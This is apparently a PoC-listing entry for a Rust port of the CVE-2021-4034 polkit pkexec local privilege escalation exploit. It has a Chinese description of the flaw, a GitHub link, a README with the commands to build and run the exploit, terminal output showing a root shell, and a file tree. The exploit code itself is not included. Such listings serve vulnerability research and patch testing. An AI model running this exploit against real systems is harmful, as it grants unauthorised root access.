CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/defhacks/cve-2021-4034

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Description

port of CVE-2021-4034 exploit to Rust/cargo for my own edification

Readme

### CVE-2021-4034 exploit but in rust, cause why not ?

Based on https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c

```
$ ./download-and-unpack-vulnerable-pkexec.sh
*optionally enable setuid/setgid for testing*
$ cargo run --bin prep && cd playground && cargo run --bin pwn
    Finished dev [unoptimized + debuginfo] target(s) in 0.00s
     Running `target/debug/prep`
    Finished dev [unoptimized + debuginfo] target(s) in 0.00s
     Running `/home/defhacks/hack/cve-2021-4034/target/debug/pwn`
gconv() called
sh-5.1# /bin/id
uid=0(root) gid=1000(defhacks) groups=1000(defhacks)
sh-5.1#
```

File Snapshot


 [4.0K]  /data/pocs/7516ba798bfbe8d9ac988bd8f703b115980b55f5
├── [ 270]  Cargo.toml
├── [ 854]  download-and-unpack-vulnerable-pkexec.sh
├── [ 615]  README.md
└── [4.0K]  src
    ├── [ 418]  lib.rs
    ├── [ 754]  main.rs
    └── [1.3K]  prep.rs

1 directory, 6 files

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